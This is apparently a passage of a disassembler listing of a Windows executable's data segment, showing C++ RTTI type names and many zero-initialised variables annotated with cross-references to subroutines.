		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_451310	dd offset off_43B000	; DATA XREF: seg001:off_43B028o
					; seg001:0043B154o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_451328	dd offset off_43B000	; DATA XREF: seg001:off_43B040o
					; seg001:0043B084o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_451348	dd offset off_43B000	; DATA XREF: seg001:off_43B090o
					; seg001:0043B0D4o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_451368	dd offset off_43B000	; DATA XREF: seg001:off_43B0E0o
					; seg001:0043B124o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_451388	dd offset off_43B000	; DATA XREF: seg001:off_43B160o
					; seg001:0043B19Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_430650
		align 8
dword_4513A8	dd 2 dup(0)	dword_4513B0	dd 0		dword_4513B4	dd 0							; sub_4014F8+4EBr
dword_4513B8	dd 0							; sub_419046+166r
dword_4513BC	dd 0							; sub_4014F8+880r ...
dword_4513C0	dd 0							; sub_4014F8+A43r ...
dword_4513C4	dd 0							; sub_4014F8+A13r ...
dword_4513C8	dd 0							; sub_4014F8+4DBr
dword_4513CC	dd 0							; sub_4014F8+234r ...
dword_4513D0	dd 0							; sub_4014F8+A3Br ...
dword_4513D4	dd 0							; sub_4014F8+3C7r ...
dword_4513D8	dd 0							; seg000:0041A502r
dword_4513DC	dd 0							; sub_4014F8+3CFr ...
dword_4513E0	dd 0							; sub_418634+ADr
dword_4513E4	dd 0							; sub_410418+115r ...
dword_4513E8	dd 0							; sub_4014F8+D2r ...
dword_4513EC	dd 0							; sub_4014F8+A06r ...
dword_4513F0	dd 0							; sub_4014F8+3E7r ...
dword_4513F4	dd 0							; sub_4014F8+8ACr
dword_4513F8	dd 0							; sub_4014F8+2F0r
dword_4513FC	dd 0							; sub_4014F8+8A4r
dword_451400	dd 0		dword_451404	dd 0							; sub_4014F8+8B4r
dword_451408	dd 0							; sub_4014F8+6D0r ...
dword_45140C	dd 0							; sub_4014F8+CAr ...
dword_451410	dd 0		dword_451414	dd 0							; sub_4014F8+A9Cr ...
dword_451418	dd 0							; sub_4014F8+F2r
dword_45141C	dd 0							; sub_4014F8+4D3r
dword_451420	dd 0							; sub_409BE4+20r ...
dword_451424	dd 0							; sub_4014F8+A33r ...
dword_451428	dd 0							; sub_4014F8+754r
dword_45142C	dd 0							; sub_40DA10+8Br ...
dword_451430	dd 0							; sub_40AA3E+9Ar
dword_451434	dd 0							; sub_4014F8+86Dr
dword_451438	dd 0							; sub_417BA1+15r
dword_45143C	dd 0							; sub_4014F8+A1Br ...
dword_451440	dd 0							; sub_4014F8+3D7r ...
dword_451444	dd 0							; sub_4014F8+3DFr ...
dword_451448	dd 0							; seg000:00411BC9r
dword_45144C	dd 0							; sub_40132F+23r ...
dword_451450	dd 0		dword_451454	dd 0							; sub_4014F8+A4Br ...
dword_451458	dd 0		dword_45145C	dd 0							; sub_4014F8+DAr ...
dword_451460	dd 0							; sub_4014F8+BA4r ...
dword_451464	dd 0							; sub_4014F8+6B3r ...
dword_451468	dd 0							; sub_4014F8+890r
dword_45146C	dd 0							; sub_4014F8+A23r ...
dword_451470	dd 0							; sub_4014F8+C3Fr
dword_451474	dd 0							; seg000:00417D92r
dword_451478	dd 0							; sub_413061+40r ...
dword_45147C	dd 0							; sub_4014F8+92Er
dword_451480	dd 0		dword_451484	dd 0							; seg000:00417D9Ar
dword_451488	dd 0							; sub_4014F8+6E8r ...
dword_45148C	dd 0							; sub_4014F8+873r
dword_451490	dd 0							; sub_4014F8+23Cr ...
dword_451494	dd 0							; sub_4014F8+1C2r
dword_451498	dd 0							; sub_4014F8+7A4r ...
dword_45149C	dd 0							; sub_4014F8+718r ...
dword_4514A0	dd 0							; sub_4014F8+6DCr ...
dword_4514A4	dd 0							; sub_4014F8:loc_401DF1w
dword_4514A8	dd 0		dword_4514AC	dd 0							; sub_4014F8+7BCr ...
dword_4514B0	dd 0							; sub_4014F8+341r ...
dword_4514B4	dd 0							; sub_4014F8+3EFr ...
dword_4514B8	dd 0							; sub_4014F8+C37r
dword_4514BC	dd 0							; sub_4014F8+888r
dword_4514C0	dd 0							; sub_4014F8+227r ...
dword_4514C4	dd 0							; sub_4014F8+1D2r ...
dword_4514C8	dd 0							; sub_4014F8+898r
dword_4514CC	dd 0							; sub_4014F8+774r ...
dword_4514D0	dd 0		dword_4514D4	dd 0							; sub_4014F8+79Cr ...
dword_4514D8	dd 0							; sub_4014F8+334r ...
dword_4514DC	dd 0							; sub_4014F8+784r ...
dword_4514E0	dd 0							; sub_4014F8+4AEr
dword_4514E4	dd 0							; sub_4014F8+1DAr ...
dword_4514E8	dd 0							; sub_4014F8+3BAr ...
dword_4514EC	dd 0		dword_4514F0	dd 0							; sub_4014F8+748r ...
dword_4514F4	dd 0							; sub_4014F8+73Cr ...
dword_4514F8	dd 0							; sub_4014F8+C2r ...
dword_4514FC	dd 0							; sub_4014F8+4CBr
dword_451500	dd 0							; sub_4014F8+1BAr ...
dword_451504	dd 0							; sub_4014F8+A5Br ...
dword_451508	dd 0							; sub_4014F8+7ACr ...
dword_45150C	dd 0							; sub_4014F8+76Cr ...
dword_451510	dd 0							; sub_4014F8+C47r
dword_451514	dd 0							; sub_4014F8+BAr ...
dword_451518	dd 0		dword_45151C	dd 0							; sub_4014F8+78Cr ...
dword_451520	dd 0							; sub_4014F8+77Cr ...
dword_451524	dd 0		dword_451528	dd 0		dword_45152C	dd 0							; sub_4014F8+C22r
dword_451530	dd 0							; sub_4014F8+730r ...
dword_451534	dd 0							; sub_4014F8+4BBr
dword_451538	dd 0							; sub_4014F8+4E3r
dword_45153C	dd 0							; sub_4014F8+4C3r
dword_451540	dd 0							; sub_40145D+80r ...
dword_451544	dd 0							; sub_4014F8+1E2r ...
dword_451548	dd 0							; sub_4014F8+A53r ...
dword_45154C	dd 0							; sub_4014F8+1ADr ...
dword_451550	dd 0							; sub_4014F8+E2r ...
dword_451554	dd 0							; sub_4014F8+764r ...
dword_451558	dd 0							; sub_4014F8+B5Fr ...
dword_45155C	dd 0							; sub_418FDB+55r
dword_451560	dd 0							; sub_4014F8+2D3r ...
dword_451564	dd 0		dword_451568	dd 0							; sub_402533+D4r
dword_45156C	dd 0							; sub_4014F8+AE6r ...
dword_451570	dd 0							; sub_4014F8+700r ...
dword_451574	dd 0							; sub_4014F8+7B4r ...
dword_451578	dd 0							; sub_4014F8+C2Fr
dword_45157C	dd 0							; sub_4014F8+724r ...
dword_451580	dd 0							; sub_4014F8+A2Br ...
dword_451584	dd 0							; sub_4014F8+794r ...
dword_451588	dd 0							; sub_4014F8+6B9w ...
dword_45158C	dd 0							; sub_4014F8+70Cr ...
dword_451590	dd 0							; sub_4014F8+B57r ...
dword_451594	dd 0							; sub_4014F8+6C4r ...
dword_451598	dd 0							; sub_4014F8+B4Ar ...
dword_45159C	dd 0							; sub_4014F8+ADr ...
dword_4515A0	dd 0							; sub_4014F8+1CAr
		align 8
dword_4515A8	dd 0							; sub_4014F8+93Br
dword_4515AC	dd 0							; sub_4014F8+EAr ...
dword_4515B0	dd 0							; sub_4014F8+12Bw ...
dword_4515B4	dd 0							; sub_40216A+1Cr
dword_4515B8	dd 0							; sub_4014F8:loc_40174Dw ...
dword_4515BC	dd 0							; sub_40216A+50r
dword_4515C0	dd 0							; sub_4014F8:loc_401845w ...
dword_4515C4	dd 0							; sub_40216A+84r
dword_4515C8	dd 0							; sub_40216A:loc_40221Ar
dword_4515CC	dd 0							; sub_40216A+B8r
dword_4515D0	dd 0							; sub_40216A:loc_40224Er
dword_4515D4	dd 0							; sub_40216A+ECr
dword_4515D8	dd 0							; sub_4014F8+8EFw ...
dword_4515DC	dd 0							; sub_40216A+120r
dword_4515E0	dd 0							; sub_40216A:loc_4022B6r ...
dword_4515E4	dd 0							; sub_40216A+154r
dword_4515E8	dd 0							; sub_40216A:loc_4022EAr ...
dword_4515EC	dd 0							; sub_40216A+188r
dword_4515F0	dd 0							; sub_40216A:loc_40231Er
dword_4515F4	dd 0							; sub_40216A+1BCr
dword_4515F8	dd 0							; sub_40216A:loc_402352r
dword_4515FC	dd 0							; sub_40216A+1F0r
dword_451600	dd 0							; sub_40216A:loc_402386r
dword_451604	dd 0							; sub_40216A+224r
dword_451608	dd 0							; sub_40216A:loc_4023BAr
dword_45160C	dd 0							; sub_40216A+258r
dword_451610	dd 0							; sub_40216A:loc_4023EEr
dword_451614	dd 0							; sub_40216A+28Cr
		align 10h
dword_451620	dd 5 dup(0)	dword_451634	dd 0		dword_451638	dd 0							; seg000:00403917r ...
		dd 5 dup(0)
dword_451650	dd 0							; sub_4160AF+60r
		dd 2D9h	dup(0)
dword_4521B8	dd 0							; seg000:00405F0Ar ...
		dd 7Fh dup(0)
dword_4523B8	dd 0							; sub_408E7A+40w ...
dword_4523BC	dd 0							; sub_408E7A+46w ...
dword_4523C0	dd 0							; sub_408E7A+3Ar ...
dword_4523C4	dd 0							; sub_402D46+B9w ...
dword_4523C8	dd 0							; sub_40905B+2Aw ...
dword_4523CC	dd 0							; seg000:0040499Ew ...
byte_4523D0	db 0			; DATA XREF: sub_402D46+91o
					; seg000:00405D5Br ...
		align 4
		dd 0C9Fh dup(0)
		db 3 dup(0)
byte_455653	db 0			; DATA XREF: seg002:004508A0o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_455753	db 0			; DATA XREF: seg002:004508A8o
		dd 73Bh	dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: seg002:off_44D328o
		dd 37C0h dup(0)
		db 0
byte_465345	db 3 dup(0)		; DATA XREF: seg002:00450BE4o
		dd 3FFFh dup(0)
		db 0
byte_475345	db 3 dup(0)		; DATA XREF: seg002:00450A00o
		dd 6B42h dup(0)
		db 2 dup(0)
word_490052	dw 0			; DATA XREF: seg002:004469D8o
		dd 2 dup(0)
dword_49005C	dd 1479h dup(0)						; seg002:off_4453A8o
		db 3 dup(0)
byte_495243	db 0			; DATA XREF: seg002:00450A60o
		dd 8000h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: seg002:off_44D4BCo
		dd 3CBEh dup(0)
		db 2 dup(0)
word_4C4542	dw 0			; DATA XREF: seg002:0045092Co
		dd 0BFh	dup(0)
		db 3 dup(0)
byte_4C4843	db 0			; DATA XREF: seg002:00450C18o
		dd 1BFh	dup(0)
		db 3 dup(0)
byte_4C4F43	db 0			; DATA XREF: seg002:00450B68o
		dd 0C0h	dup(0)
		db 2 dup(0)
word_4C5246	dw 0			; DATA XREF: seg002:00450A84o
		dd 3Fh dup(0)
		db 0
byte_4C5345	db 3 dup(0)		; DATA XREF: seg002:00450C10o
		db 0
byte_4C5349	db 3 dup(0)		; DATA XREF: seg002:00450874o
					; seg002:0045087Co
		dd 3B81h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: seg002:off_44CA48o
		dd 37Ch	dup(0)
dword_4D4F44	dd 100h	dup(0)			db 0
byte_4D5345	db 3 dup(0)		; DATA XREF: seg002:004508F8o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_4D5447	db 0			; DATA XREF: seg002:00450A08o
		dd 275Ch dup(0)
dword_4DF1B8	dd 0							; sub_408D3F+13o ...
dword_4DF1BC	dd 0							; seg000:loc_408115r ...
		dd 5Ah dup(0)
byte_4DF328	db 0			; DATA XREF: sub_402EAE+28r
					; sub_402EAE+30o
		align 4
		dd 3 dup(0)
dword_4DF338	dd 0		dword_4DF33C	dd 0		dword_4DF340	dd 2 dup(0)	dword_4DF348	dd 0		dword_4DF34C	dd 0		dword_4DF350	dd 0		dword_4DF354	dd 0		dword_4DF358	dd 2 dup(0)	dword_4DF360	dd 0		dword_4DF364	dd 0		dword_4DF368	dd 0		byte_4DF36C	db 0			; DATA XREF: sub_408C38+6Ar
					; sub_408C38+98w
		align 10h
		dd 2 dup(0)
dword_4DF378	dd 0							; sub_409C2C+92w ...
dword_4DF37C	dd 0							; sub_40A146+D9w ...
		dd 0Eh dup(0)
dword_4DF3B8	dd 0							; sub_408FA6+19o
dword_4DF3BC	dd 7EFh	dup(0)	dword_4E1378	dd 6 dup(0)						; sub_409F32+138o ...
dword_4E1390	dd 0							; seg000:00409A56o
dword_4E1394	dd 0							; seg000:00409A68r
dword_4E1398	dd 0		dword_4E139C	dd 0							; seg000:loc_409A23r
dword_4E13A0	dd 20h dup(0)						; seg000:00409A10o
dword_4E1420	dd 0		dword_4E1424	dd 0							; seg000:00409A1Dw
dword_4E1428	dd 0				dd 2 dup(0)
dword_4E1434	dd 83h dup(0)	dword_4E1640	dd 0		dword_4E1644	dd 0				dd 0CEh	dup(0)
dword_4E1980	dd 0							; seg000:00409B7Eo
dword_4E1984	dd 0A2h	dup(0)	dword_4E1C0C	dd 41h dup(0)	dword_4E1D10	dd 0							; seg000:00409B31r
		align 8
dword_4E1D18	dd 0							; seg000:00409B90r
dword_4E1D1C	dd 0		dword_4E1D20	dd 0		dword_4E1D24	dd 0				dd 0
dword_4E1D2C	dd 0				dd 0
dword_4E1D34	dd 0							; seg000:00409392r ...
dword_4E1D38	dd 0							; seg000:00409386r ...
dword_4E1D3C	dd 82h dup(0)	byte_4E1F44	db 0			; DATA XREF: sub_40A958+36r
		align 4
dword_4E1F48	dd 0		dword_4E1F4C	dd 0		byte_4E1F50	db 0			; DATA XREF: sub_40AA3E+37r
		align 4
dword_4E1F54	dd 0		dword_4E1F58	dd 0							; seg000:loc_40B1B4r
dword_4E1F5C	dd 0							; seg000:0040B72Cw ...
dword_4E1F60	dd 40h dup(0)						; sub_40B7F9+C0o
dword_4E2060	dd 0							; seg000:0040B28Er ...
dword_4E2064	dd 2Bh dup(0)	dword_4E2110	dd 81h dup(0)			db 2 dup(0)
word_4E2316	dw 0			; DATA XREF: seg000:0040B56Bo
					; seg000:0040B598o ...
dword_4E2318	dd 0				db 2 dup(0)
word_4E231E	dw 0			; DATA XREF: seg000:0040B2F0o
					; seg000:0040B322o ...
dword_4E2320	dd 4 dup(0)	dword_4E2330	dd 2Eh dup(0)			db 2 dup(0)
word_4E23EA	dw 0			; DATA XREF: seg000:0040B27Bo
		dd 1Eh dup(0)
dword_4E2464	dd 0							; seg000:0040B738r ...
dword_4E2468	dd 0							; seg000:0040B7E6r
		dd 2 dup(0)
dword_4E2474	dd 2 dup(0)	dword_4E247C	dd 0		dword_4E2480	dd 2 dup(0)	dword_4E2488	dd 40h dup(0)	dword_4E2588	dd 0							; sub_40DA10+85r
dword_4E258C	dd 1Ah dup(0)	dword_4E25F4	dd 0		dword_4E25F8	dd 0		dword_4E25FC	dd 4 dup(0)	byte_4E260C	db 0			; DATA XREF: sub_40EE3A+Dr
		align 10h
byte_4E2610	db 0			; DATA XREF: sub_40EE3A+25r
		align 8
dword_4E2618	dd 0		dword_4E261C	dd 0		dword_4E2620	dd 0							; seg000:0040F88Fo ...
dword_4E2624	dd 0							; seg000:0040F8ADr ...
dword_4E2628	dd 0							; seg000:0040F8A2r ...
dword_4E262C	dd 0							; seg000:0040F868o ...
dword_4E2630	dd 0							; sub_40F788+3Dr ...
		align 8
dword_4E2638	dd 0							; seg000:0040B04Br ...
		align 10h
dword_4E2640	dd 0							; seg000:0040FCA7w
dword_4E2644	dd 0							; sub_410301+51r ...
		dd 3 dup(0)
dword_4E2654	dd 3 dup(0)	dword_4E2660	dd 0				align 8
dword_4E2668	dd 2 dup(0)	byte_4E2670	db 0			; DATA XREF: seg000:00412CF2r
		align 4
dword_4E2674	dd 0							; seg000:0041334Bo
		dd 10Ah	dup(0)
dword_4E2AA0	dd 80h dup(0)						; sub_415725+191o ...
byte_4E2CA0	db 0			; DATA XREF: sub_415725+19Fw
					; sub_415725+278o
		align 2
word_4E2CA2	dw 0			; DATA XREF: sub_415725+1ACw
word_4E2CA4	dw 0			; DATA XREF: sub_415725+1B6w
word_4E2CA6	dw 0			; DATA XREF: sub_415725+1BFw
byte_4E2CA8	db 0			; DATA XREF: sub_415725+1C6w
byte_4E2CA9	db 0			; DATA XREF: sub_415725+1CDw
word_4E2CAA	dw 0			; DATA XREF: sub_415725+1D4w
dword_4E2CAC	dd 0		dword_4E2CB0	dd 0		word_4E2CB4	dw 0			; DATA XREF: sub_415725+242w
word_4E2CB6	dw 0			; DATA XREF: sub_415725+22Aw
word_4E2CB8	dw 0			; DATA XREF: sub_415725+254w
word_4E2CBA	dw 0			; DATA XREF: sub_415725+1F5w
dword_4E2CBC	dd 101h	dup(0)	dword_4E30C0	dd 0							; sub_415725:loc_41585Br ...
		align 10h
byte_4E30D0	db 0			; DATA XREF: sub_415C17+244o
					; sub_415C17+253w ...
byte_4E30D1	db 0			; DATA XREF: sub_415C17+267w
word_4E30D2	dw 0			; DATA XREF: sub_415C17+298w
word_4E30D4	dw 0			; DATA XREF: sub_415C17+27Fw
					; sub_415C17:loc_415FDDw
word_4E30D6	dw 0			; DATA XREF: sub_415C17+29Ew
byte_4E30D8	db 0			; DATA XREF: sub_415C17+28Bw
byte_4E30D9	db 0			; DATA XREF: sub_415C17+260w
word_4E30DA	dw 0			; DATA XREF: sub_415C17+3E6w
					; sub_415C17+410w
dword_4E30DC	dd 0							; sub_415C17+38Er
dword_4E30E0	dd 0		word_4E30E4	dw 0			; DATA XREF: sub_415C17+388w
					; sub_415C17+3DCo
word_4E30E6	dw 0			; DATA XREF: sub_415C17+329w
					; sub_415C17+34Er ...
dword_4E30E8	dd 0							; sub_415C17+3CDw
dword_4E30EC	dd 0							; sub_415C17+39Fw ...
byte_4E30F0	db 0			; DATA XREF: sub_415C17+305r
					; sub_415C17+313w
byte_4E30F1	db 0			; DATA XREF: sub_415C17+2CFw
					; sub_415C17+398w ...
word_4E30F2	dw 0			; DATA XREF: sub_415C17+2DDw
word_4E30F4	dw 0			; DATA XREF: sub_415C17+3EDw
					; sub_415C17+41Ew
word_4E30F6	dw 0			; DATA XREF: sub_415C17+322w
word_4E30F8	dw 0			; DATA XREF: sub_415C17+354w
					; sub_415C17+426o
word_4E30FA	dw 0			; DATA XREF: sub_415C17+363w
					; sub_415C17+3FDw
dword_4E30FC	dd 0				dd 2 dup(0)
dword_4E3108	dd 0							; sub_415C17+40Bo
dword_4E310C	dd 0		byte_4E3110	db 0			; DATA XREF: sub_415C17+335w
byte_4E3111	db 0			; DATA XREF: sub_415C17+33Bw
word_4E3112	dw 0			; DATA XREF: sub_415C17+348w
dword_4E3114	dd 7 dup(0)	dword_4E3130	dd 0							; sub_415C17+42Fr
dword_4E3134	dd 101h	dup(0)						; sub_415C17+472o
dword_4E3538	dd 302h	dup(0)						; seg000:00416291o ...
		db 3 dup(0)
byte_4E4143	db 0			; DATA XREF: seg002:004509DCo
		dd 2 dup(0)
dword_4E414C	dd 0		dword_4E4150	dd 1FDh	dup(0)			db 2 dup(0)
word_4E4946	dw 0			; DATA XREF: seg002:0045081Co
					; seg002:00450824o
		dd 27Fh	dup(0)
		db 0
byte_4E5345	db 3 dup(0)		; DATA XREF: seg002:004509A8o
		dd 87Ch	dup(0)
dword_4E7538	dd 3 dup(0)						; seg000:004162D8o ...
dword_4E7544	dd 0Fh dup(0)	dword_4E7580	dd 0							; sub_416F00:loc_417082w ...
dword_4E7584	dd 0							; sub_416F00+3Aw ...
		dd 0
dword_4E758C	dd 0							; seg000:004170DCr
		dd 7Fh dup(0)
dword_4E778C	dd 0							; seg000:004170ECw
		dd 1944h dup(0)
dword_4EDCA0	dd 0		dword_4EDCA4	dd 0							; seg002:0044CF54o
dword_4EDCA8	dd 0		dword_4EDCAC	dd 0		dword_4EDCB0	dd 0		dword_4EDCB4	dd 0		dword_4EDCB8	dd 0		dword_4EDCBC	dd 0		dword_4EDCC0	dd 0		dword_4EDCC4	dd 0		dword_4EDCC8	dd 0		dword_4EDCCC	dd 0		dword_4EDCD0	dd 0		dword_4EDCD4	dd 82h dup(0)	dword_4EDEDC	dd 17h dup(0)						; sub_418184+131o ...
dword_4EDF38	dd 80h dup(0)						; seg000:00418FC2o
dword_4EE138	dd 0							; sub_4184FE+4Dr ...
dword_4EE13C	dd 17h dup(0)						; sub_418DE9+12Do
dword_4EE198	dd 80h dup(0)						; sub_41843F+7Do ...
byte_4EE398	db 0			; DATA XREF: sub_4184FE+29r
					; sub_4184FE+34w
		align 4
dword_4EE39C	dd 80h dup(0)						; sub_418755+88o ...
dword_4EE59C	dd 81h dup(0)						; sub_41805B+50o ...
dword_4EE7A0	dd 0							; sub_419602+123w
dword_4EE7A4	dd 0							; seg000:004194E4r ...
dword_4EE7A8	dd 0							; sub_419602+83o
dword_4EE7AC	dd 0							; sub_419602+11Bw
dword_4EE7B0	dd 0Dh dup(0)						; sub_419602:loc_419743o
dword_4EE7E4	dd 0				dd 0
dword_4EE7EC	dd 0		dword_4EE7F0	dd 0		dword_4EE7F4	dd 0		dword_4EE7F8	dd 0Eh dup(0)	dword_4EE830	dd 2 dup(0)	byte_4EE838	db 0			; DATA XREF: seg000:0041AAF2o
					; seg000:0041AB35r
		align 4
		dd 3Fh dup(0)
word_4EE938	dw 0			; DATA XREF: sub_41A764+2Fr
		align 4
dword_4EE93C	dd 2 dup(0)	dword_4EE944	dd 2 dup(0)	dword_4EE94C	dd 2 dup(0)	dword_4EE954	dd 0							; sub_41B330:loc_41B76Br ...
dword_4EE958	dd 0							; sub_41AF30+21Cw ...
dword_4EE95C	dd 0							; sub_41AF30+252r ...
dword_4EE960	dd 0							; sub_41AF30+22Aw ...
dword_4EE964	dd 0							; sub_41AF30+243w ...
dword_4EE968	dd 0		dword_4EE96C	dd 0							; seg000:00420B5Cw ...
dword_4EE970	dd 0		dword_4EE974	dd 0							; seg000:00420B85r
dword_4EE978	dd 0							; seg000:00420B8Er
dword_4EE97C	dd 0		dword_4EE980	dd 0				align 8
dword_4EE988	dd 0							; sub_42C180+81r ...
dword_4EE98C	dd 0		dword_4EE990	dd 0							; sub_4360C0+6r ...
		align 8
dword_4EE998	dd 0							; sub_42C2D0+3Cr
		align 10h
byte_4EE9A0	db 0			; DATA XREF: sub_41F050+8r
		align 4
dword_4EE9A4	dd 0		dword_4EE9A8	dd 0				align 10h
dword_4EE9B0	dd 0				align 8
word_4EE9B8	dw 0			; DATA XREF: seg000:0041EE0Dr
word_4EE9BA	dw 0			; DATA XREF: seg000:0041EDF8r
		db 2 dup(0)
word_4EE9BE	dw 0			; DATA XREF: seg000:0041EDE2r
word_4EE9C0	dw 0			; DATA XREF: seg000:0041EDCDr
word_4EE9C2	dw 0			; DATA XREF: seg000:0041EDB8r
		align 8
dword_4EE9C8	dd 0							; sub_424520+2CEw ...
dword_4EE9CC	dd 0							; seg000:0041F32Fw
dword_4EE9D0	dd 0		dword_4EE9D4	dd 0							; sub_42C180+1Br ...
		dd 0
dword_4EE9DC	dd 0							; sub_420CD0+3r ...
dword_4EE9E0	dd 0							; seg000:00420ED8w ...
dword_4EE9E4	dd 0							; sub_41AE60+Fr ...
dword_4EE9E8	dd 0							; seg000:00421949w ...
		align 10h
dword_4EE9F0	dd 6 dup(0)	dword_4EEA08	dd 6 dup(0)	dword_4EEA20	dd 6 dup(0)	dword_4EEA38	dd 6 dup(0)	dword_4EEA50	dd 0							; seg000:00426153w ...
dword_4EEA54	dd 0							; sub_4269E0+C9w ...
		dd 0
dword_4EEA5C	dd 0							; sub_42B320+140o
word_4EEA60	dw 0			; DATA XREF: sub_42B320+E8r
		align 4
dword_4EEA64	dd 0							; sub_42B320+159o
dword_4EEA68	dd 0							; sub_42B080+DDw ...
		align 10h
dword_4EEA70	dd 0							; sub_41FF60:loc_4200F6r ...
dword_4EEA74	dd 0		dword_4EEA78	dd 0		dword_4EEA7C	dd 0		dword_4EEA80	dd 0							; sub_41FF60+16Cr ...
dword_4EEA84	dd 0		dword_4EEA88	dd 0							; seg000:0042BB8Bw ...
dword_4EEA8C	dd 41h dup(0)	dword_4EEB90	dd 0							; sub_42C7E0+2Cw ...
dword_4EEB94	dd 0							; sub_42CAE0+34r
dword_4EEB98	dd 0							; seg000:0042D0F2w ...
dword_4EEB9C	dd 0							; seg000:0042D105w ...
dword_4EEBA0	dd 0							; seg000:0042D119w ...
dword_4EEBA4	dd 0							; seg000:0042D12Cw ...
dword_4EEBA8	dd 0							; seg000:0042D095w
dword_4EEBAC	dd 0							; sub_42D5C0+39w ...
dword_4EEBB0	dd 0							; sub_42D5C0:loc_42D633r ...
dword_4EEBB4	dd 0							; sub_42D5C0+8Br ...
dword_4EEBB8	dd 0							; seg000:0042E086w ...
dword_4EEBBC	dd 0		dword_4EEBC0	dd 0							; seg000:0042EE4Eo ...
		align 8
dword_4EEBC8	dd 0							; seg000:0042EE58o
dword_4EEBCC	dd 10h dup(0)	word_4EEC0C	dw 0			; DATA XREF: sub_42F1C0+FCr
word_4EEC0E	dw 0			; DATA XREF: seg000:0042EE68r
					; sub_42F1C0+145r ...
word_4EEC10	dw 0			; DATA XREF: sub_42F1C0+132r
word_4EEC12	dw 0			; DATA XREF: sub_42F1C0+13Br
					; sub_42F1C0+18Br
word_4EEC14	dw 0			; DATA XREF: sub_42F1C0+126r
					; sub_42F1C0+181r
word_4EEC16	dw 0			; DATA XREF: sub_42F1C0+11Cr
					; sub_42F1C0+177r
word_4EEC18	dw 0			; DATA XREF: sub_42F1C0+113r
					; sub_42F1C0+16Er
word_4EEC1A	dw 0			; DATA XREF: sub_42F1C0+109r
					; sub_42F1C0+164r
dword_4EEC1C	dd 0							; seg000:0042EEAEr
dword_4EEC20	dd 10h dup(0)	word_4EEC60	dw 0			; DATA XREF: sub_42F1C0+43r
word_4EEC62	dw 0			; DATA XREF: seg000:0042EE8Br
					; sub_42F1C0+8Cr ...
word_4EEC64	dw 0			; DATA XREF: sub_42F1C0+79r
word_4EEC66	dw 0			; DATA XREF: sub_42F1C0+82r
					; sub_42F1C0+D2r
word_4EEC68	dw 0			; DATA XREF: sub_42F1C0+6Dr
					; sub_42F1C0+C8r
word_4EEC6A	dw 0			; DATA XREF: sub_42F1C0+63r
					; sub_42F1C0+BEr
word_4EEC6C	dw 0			; DATA XREF: sub_42F1C0+5Ar
					; sub_42F1C0+B5r
word_4EEC6E	dw 0			; DATA XREF: sub_42F1C0+50r
					; sub_42F1C0+ABr
dword_4EEC70	dd 0							; seg000:0042EEA9r
dword_4EEC74	dd 0							; seg000:0042EF76r ...
dword_4EEC78	dd 0							; sub_42ED80+16r ...
dword_4EEC7C	dd 0							; sub_430650+37r ...
dword_4EEC80	dd 0							; sub_4307A0+86r ...
dword_4EEC84	dd 0							; sub_431120+93r ...
dword_4EEC88	dd 0							; sub_431120+A3r ...
dword_4EEC8C	dd 0							; sub_431120+7Cr ...
dword_4EEC90	dd 0							; sub_431450+B1r ...
dword_4EEC94	dd 0							; seg000:00431B65r ...
dword_4EEC98	dd 0							; seg000:00431B87r ...
dword_4EEC9C	dd 3 dup(0)						; sub_42B080+F3o
word_4EECA8	dw 0			; DATA XREF: seg000:004318E6r
		align 10h
word_4EECB0	dw 0			; DATA XREF: sub_431580+Fr
		align 4
		db 2 dup(0)
word_4EECB6	dw 0			; DATA XREF: sub_431120+Fr
		db 2 dup(0)
word_4EECBA	dw 0			; DATA XREF: sub_430880+Fr
word_4EECBC	dw 0			; DATA XREF: sub_430880+1Ar
		align 10h
dword_4EECC0	dd 0							; sub_432030+E5w ...
dword_4EECC4	dd 0							; sub_432030+1Br ...
dword_4EECC8	dd 0							; sub_432030+101r ...
dword_4EECCC	dd 0							; sub_431F70+47r ...
dword_4EECD0	dd 0							; seg000:00431D2Br ...
dword_4EECD4	dd 0							; seg000:00431D60r ...
dword_4EECD8	dd 0							; seg000:loc_431DEEr ...
dword_4EECDC	dd 0							; sub_432030+DFr ...
dword_4EECE0	dd 0							; seg000:00431D0Cw ...
dword_4EECE4	dd 0		byte_4EECE8	db 0			; DATA XREF: sub_435830+18Fo
					; sub_435830+1F2r ...
		align 10h
dword_4EECF0	dd 0							; seg002:off_45101Co ...
dword_4EECF4	dd 0							; seg000:00435B16w ...
dword_4EECF8	dd 0							; sub_436680+41w ...
dword_4EECFC	dd 0							; sub_436820+41w ...
dword_4EED00	dd 0							; sub_4369D0+4Bw ...
byte_4EED04	db 0			; DATA XREF: sub_40D9FEr sub_40D9FE+9w
		align 4
dword_4EED08	dd 0							; sub_4349B0+A4w ...
dword_4EED0C	dd 0							; sub_434B40+1EDw ...
dword_4EED10	dd 0							; sub_420960+32r ...
dword_4EED14	dd 0							; sub_41FEE0+1Ao ...
		align 10h
dword_4EED20	dd 0							; sub_41EF20+109r ...
		dd 3Fh dup(0)
dword_4EEE20	dd 0							; sub_424040+7r ...
dword_4EEE24	dd 0							; seg000:00425F4Aw ...
		align 10h
word_4EEE30	dw 0			; DATA XREF: seg000:00425F9Aw
					; seg000:004260F3w ...
		align 4
		dd 2 dup(0)
dword_4EEE3C	dd 0							; sub_426230+35w ...
byte_4EEE40	db 0			; DATA XREF: sub_4262B0+1CEw
					; sub_4262B0+21Aw ...
		align 4
		dd 3Fh dup(0)
byte_4EEF40	db 0			; DATA XREF: seg000:00425EABw
					; sub_426230+22w
byte_4EEF41	db 0			; DATA XREF: sub_41DC60+92r
					; seg000:00425F29r ...
		align 4
		dd 40h dup(0)
